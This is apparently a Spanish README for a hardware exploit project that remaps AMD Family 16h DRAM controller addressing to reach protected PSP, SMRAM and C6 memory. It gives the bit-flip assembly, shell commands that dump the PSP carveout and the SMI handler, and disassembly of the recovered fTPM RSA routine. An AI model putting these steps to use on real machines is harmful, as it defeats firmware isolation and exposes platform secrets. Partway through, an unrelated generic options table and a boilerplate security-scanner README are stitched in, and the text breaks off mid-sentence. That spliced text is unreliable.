
skitter-creek-bath-salts — Actualizado!
Desbloqueando _todo_ en la CPU con DRAM scrambling
skitter-creek-bath-salts
Desbloqueando todo en la CPU con el scrambling de DRAM — PSP, C6, microcódigo, SMM, y cualquier otra cosa que las especificaciones omitieron.
&x == &x.
Normalmente.

Manipula el controlador de DRAM y una dirección puede terminar donde quieras en
la memoria. skitter-creek-bath-salts modifica las capas inferiores de la
jerarquía de memoria para recablear las traducciones de direcciones físicas de
la DRAM. Esto altera la memoria de la plataforma, exponiendo regiones protegidas
de la DRAM — reservas invisibles incluso para el kernel. Cuando las traducciones
de direcciones se rompen, también lo hacen las primitivas de seguridad
construidas sobre ellas, y desbloqueamos todo.
TL;DR
- Desbloquea tu Platform Security Processor
- Desbloquea el System Management Mode
- Desbloquea la DRAM C6
- Desbloquea el microcódigo de tu CPU
Objetivo
Desarrollado y probado en CPUs AMD Family 16h, la última generación cuyas
hojas de datos documentan los registros de traducción del controlador de DRAM —
y muestran que no pueden bloquearse. 17h y posteriores simplemente omiten esta
información. La odisea de *p es similar entre
generaciones y arquitecturas, y las transformaciones subyacentes se extienden
incluso a ARM, RISC-V y más allá; skitter-creek-bath-salts nos muestra
solo cómo empezar.
La odisea de *p
Es un largo camino hacia abajo.
La memoria está construida sobre capas de abstracción tan profundas que se
vuelven casi absurdas. Cuando tu código desreferencia *p, parece acceder a la
DRAM en p. No lo hace — p es una dirección virtual, y antes de que se toque
un solo bit de DRAM, debe sobrevivir al calvario que se describe a continuación:```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── physical address k <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
Este proyecto trabaja en los niveles más profundos del pipeline `*p`, la capa MCT/DCT
— donde una dirección física proveniente del data fabric/interconnect entra en el controlador
de memoria y se reescribe una última vez en las coordenadas DRAM en bruto que se
emiten al DIMM.
---
## Espaguetizando la DRAM
> Las direcciones físicas son en realidad más una sugerencia.```nasm
xor dword [0xf80c2094], 0x00400000
Ese es el exploit. Todo él.
Un solo bit-flip en el controlador DRAM recablea la parte inferior del pipeline de *p, y
los datos que estaban en &x ahora están en otro lugar a mitad de vuelo. De repente &x != &x.
Todos los mecanismos que la CPU, el firmware, el uncore y el chipset utilizan para aislar la memoria
protegida se sitúan por encima del controlador de memoria, y ninguno de ellos ve lo que ocurre por debajo.
Las barreras protegen direcciones físicas, no coordenadas DRAM; reordena las
coordenadas y las barreras superiores nunca se dan cuenta.
Pero recablear la DRAM es fácil. El bit de arriba es el bank-swizzle-mode en el DCT, y es solo uno de docenas que controlan los remapeos de direcciones en la capa final — todo lo que tienes que hacer es tocarlos para que todo lo construido encima se derrumbe. La parte más difícil entonces es mantener la plataforma en pie mientras la totalidad de la memoria del sistema es revuelta por debajo.
El truco: ser rápido, y no tocar la DRAM. Deshabilitar los APs, preparar las TLBs, calentar la caché, deshabilitar las interrupciones, vaciar el objetivo, serializar los accesos a memoria, y esperar que la CPU haya precargado las instrucciones próximas. Luego recablear el MCT/DCT para espaguetizar la DRAM, tomar algunos datos de la región protegida, revertir las asignaciones, serializar de nuevo, habilitar las interrupciones, reanudar los APs, y la plataforma vuelve a la normalidad.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on
Con una configuración cuidadosa de paginación, estados de caché, hilos y las TLB, el
scrambling de direcciones puede hacerse funcionar desde C, para ilustrar el colapso del pipeline `*p`,
y la vista corrupta de la plataforma cuando de repente `&x != &x`:

Así que podemos recablear el mapa y restaurarlo sin dejar rastro. Todo lo que queda es
saber en qué lo recableamos.
---
## Desbloqueando *todo*
> Cada región de memoria protegida en la plataforma, accesible con una calculadora.
Con el enfoque anterior, podemos reprogramar la transformación MCT/DCT en un sistema
en ejecución — reordenando la etapa más baja del pipeline `*p` para hacer scrambling de la memoria
por debajo de cada protección construida sobre ella.
Pero hay un desafío: aunque podemos reprogramar la traducción con un simple
`xor dword [0xf80c2094], 0x00400000`, no tenemos idea de qué nuevas transformaciones
usará el MCT/DCT (las hojas de datos están subespecificadas aquí — los mapas xor están desactivados,
la etapa sustractiva de MMIO no está ordenada, y los detalles varían entre modelos).
Sin esto, la memoria se hace scrambling, pero no tenemos forma de reconstruirla.
Afortunadamente, la transformación de direcciones del controlador DRAM es un mapa lineal GF(2),
lo que significa que podemos reconstruir la memoria scrambled con álgebra lineal básica.
Primero, consideremos el caso normal: la transformación directa de la configuración
predeterminada de MCT/DCT se aplica a alguna dirección física, que aterriza en una dirección
secreta en DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
Esta es la vista coherente de la memoria: la etapa más baja del pipeline *p
opera exactamente como debería.
Ahora recablea la etapa MCT/DCT de *p con xor dword [0xf80c2094], 0x00400000,
y la plataforma entra en una vista de memoria codificada/espaguetizada donde una
transformación diferente permite que un alias alcance el mismo secreto de DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
Este alias nos permite alcanzar el mismo secreto sin toparnos con los bloqueos y defensas de plataforma existentes, construidos para la vista coherente. Para encontrar el alias, compón el inverso del hash atacante/espaguetificado con el directo del hash de firmware/coherente, para obtener la traducción que alcanzará cualquier secreto desde la configuración maliciosa MCT/DCT:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
El único desafío es que las matrices son desconocidas, lo que significa que no tenemos idea de cómo está realmente codificada la memoria, y no hay transformación que usar para llegar al secreto en primer lugar:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
Afortunadamente, en este punto solo es álgebra lineal, y podrías resolver las
transformaciones a mano si quieres. O: con una calculadora.
Usamos [z3](https://github.com/z3prover/z3). Primero, el solucionador SMT necesita
restricciones con las que trabajar.
Comienza en la vista coherente, modifica el MCT/DCT para cambiar a la vista espaguetizada,
introduce algún valor centinela como `0xdeadc0de` en una dirección aleatoria de la memoria,
vuelve a la vista coherente y recorre la memoria buscando dónde reaparece el centinela.
Esto da un par (objetivo, alias) — un punto de datos concreto que muestra dos
direcciones físicas que se asignan a la misma celda en DRAM. Repite el proceso,
reúne un puñado de datos, pásalos a z3, y este resuelve la matriz de transformación
necesaria para convertir entre las dos vistas — cualquier dirección física de la vista coherente en
un lado, su alias en la vista espaguetizada en el otro:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
Alimentar pares de alias a z3 uno a la vez nos permite observar al solucionador SMT descifrar el scrambling de memoria en tiempo real, como se muestra en la imagen de apertura.
La transformación resuelta es una piedra rosetta: cualquier dirección objetivo en la vista coherente se mapea a un alias que alcanza la misma DRAM en la vista espaguetificada. Para alcanzar cualquier memoria protegida, toma una dirección que normalmente no podemos tocar — memoria privada del PSP, SMRAM, el estado de reposo C6 — y pásala por la transformación para obtener su alias. Luego recablea el DCT con xor dword [0xf80c2094], 0x00400000, lee o escribe el alias, y vuelve a cambiar con un segundo xor. La ruta del alias a través del pipeline *p nunca encuentra una valla que la plataforma construyó para la vista coherente — acceso sin restricciones a cualquier cosa en la DRAM.

Al final, todo lo que estaba tan cuidadosamente amurallado — memoria privada del PSP, SMRAM, el estado de reposo C6, inaccesible desde el SO, ring-0, a veces la propia CPU — sigue estando en los mismos capacitores de DRAM. Pero las cerraduras fueron construidas alrededor de la vista coherente de la memoria, y no hacen nada contra un alias espaguetificado que alcanza la misma celda.
Voltea un bit en el nivel final del pipeline *p, y hemos desbloqueado todo.
Inicio rápido: desbloquea tu Platform Security Processor
Manipula tu PSP, mira qué sucede.
El fTPM se ejecuta en el propio núcleo ARM del PSP, en un carveout de DRAM justo después del tope de memoria visible. Alcanzalo aliasando una dirección física visible para el SO sobre él, extrae los bytes, desensambla.```sh
Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin
| | | |
|---|---|---|
| `-h`, `--help` | Muestra el mensaje de ayuda y sale. | |
| `-v`, `--version` | Muestra la versión del programa y sale. | |
| `-d`, `--debug` | Habilita el registro de depuración. | |
| `-c`, `--config` | Ruta al archivo de configuración. | |
| `-o`, `--output` | Ruta del archivo de salida. | |
| `-f`, `--format` | Formato de salida (json, yaml, xml). | |
| `-q`, `--quiet` | Modo silencioso, suprime la salida. | |
| `-V`, `--verbose` | Modo detallado, aumenta la salida. | |
| `-n`, `--no-color` | Deshabilita la salida en color. | |
| `-l`, `--log-level` | Establece el nivel de registro (debug, info, warn, error). | |
| `-t`, `--timeout` | Establece el tiempo de espera en segundos. | |
| `-r`, `--retry` | Número de reintentos en caso de fallo. | |
| `-s`, `--silent` | Modo silencioso, suprime toda la salida. | |
| `-p`, `--proxy` | URL del proxy a utilizar. | |
| `-u`, `--user-agent` | Cadena del User-Agent a utilizar. | |
| `-k`, `--insecure` | Deshabilita la verificación del certificado SSL. | |
| `-A`, `--auth` | Credenciales de autenticación. | |
| `-H`, `--header` | Encabezado personalizado a incluir en las solicitudes. | |
| `-X`, `--method` | Método HTTP a utilizar. | |
| `-D`, `--data` | Datos a enviar en el cuerpo de la solicitud. | |
| `-F`, `--file` | Archivo a subir. | |
| `-T`, `--threads` | Número de hilos a utilizar. | |
| `-w`, `--wordlist` | Ruta a la lista de palabras. | |
| `-e`, `--extension` | Extensiones de archivo a buscar. | |
| `-x`, `--exclude` | Patrones a excluir. | |
| `-i`, `--include` | Patrones a incluir. | |
| `-m`, `--match` | Patrones a coincidir. | |
| `-R`, `--recursive` | Habilita el escaneo recursivo. | |
| `-L`, `--level` | Profundidad de recursión. | |
| `-P`, `--port` | Número(s) de puerto a escanear. | |
| `-S`, `--script` | Script(s) a ejecutar. | |
| `-a`, `--all` | Escanear todos los objetivos. | |
| `-b`, `--brute` | Habilita el modo de fuerza bruta. | |
| `-g`, `--grep` | Patrón de búsqueda. | |
| `-I`, `--input` | Archivo de entrada. | |
| `-O`, `--output-file` | Archivo de salida. | |
| `-Q`, `--query` | Consulta a ejecutar. | |
| `-U`, `--url` | URL a escanear. | |
| `-W`, `--web` | Habilita el modo web. | |
| `-Y`, `--yaml` | Archivo YAML a utilizar. | |
| `-Z`, `--zip` | Archivo ZIP a utilizar. | |```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
Ese es el motor RSA del PSP — el modexp detrás de cada firma fTPM, y detrás de las pruebas de Miller-Rabin que acuñan sus claves — extraído de la memoria que el PSP se supone que posee en exclusiva, aislado en el controlador de memoria, opaco incluso para ring-0. Modifícalo como consideres oportuno.
Inicio rápido: desbloquear el System Management Mode
Lee lo que SMM oculta.
El vector de entrada del manejador SMI se encuentra en SMBASE + 0x8000. SMBASE está en
el MSR 0xc0010111. Léelo, extrae los bytes a través del mapa de alias y canalízalos
directamente a un desensamblador:```sh
Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
sudo modprobe msr
SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
Dump the entry vector through the alias map and disassemble on the fly.
SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
## 🧩 Características clave
- **Análisis de código estático** para detectar patrones de vulnerabilidad comunes.
- **Escaneo de dependencias** para identificar bibliotecas desactualizadas o vulnerables.
- **Detección de secretos** para encontrar claves API y credenciales codificadas de forma rígida.
- **Integración con CI/CD** para escaneos automatizados en cada confirmación.
- **Salida en múltiples formatos**: JSON, SARIF, texto sin formato y HTML.
## 🚀 Instalación
```bash
git clone https://github.com/example/security-scanner.git
cd security-scanner
pip install -r requirements.txt
🛠️ Uso
Ejecute el escáner contra un directorio de proyecto:
python scanner.py --path /ruta/al/proyecto --format json
Opciones
| Opción | Descripción |
|---|---|
--path | Ruta al directorio del proyecto a escanear |
--format | Formato de salida (json, sarif, text, html) |
--severity | Nivel de severidad mínimo a reportar |
--exclude | Patrones de archivos o directorios a excluir |
📊 Ejemplo de salida
{
"vulnerabilities": [
{
"id": "CVE-2023-12345",
"severity": "high",
"file": "src/utils.py",
"line": 42,
"description": "Deserialización insegura de datos proporcionados por el usuario"
}
]
}
🤝 Contribuciones
¡Agradecemos las contribuciones! Por favor, consulte CONTRIBUTING.md para obtener más detalles.
📄 Licencia
Este proyecto está licenciado bajo la Licencia MIT. Consulte el archivo LICENSE para obtener más información.```nasm
; SMI entry stub — the first thing a core executes when entering the
; ultra-privileged System Management Mode.
mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub
o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form)
mov eax,0x3 ; CR0.PE | CR0.MP
mov cr0,eax ; flip the core into protected mode
jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch
mov ax,0x18 ; GDT selector 0x18 -> flat data segment
mov ss,ax ; reload SS for protected mode
mov eax,0x6efe2ff8 ; SMM stack top
mov esp,eax ; install the SMM stack
o32 push byte +0x10 ; far-return frame: CS = code selector 0x10
mov ecx,0xc0010111 ; MSR SMM_BASE
rdmsr ; EAX = this core's SMBASE
mov ebx,eax ; stash SMBASE
add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry
push eax ; far-return frame: EIP = SMBASE+0x803a
retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
Esas instrucciones se ejecutan en el anillo -2, el contexto más privilegiado de la CPU,
en una memoria que el chipset debería hacer ilegible. El SMRAM "bloqueado"
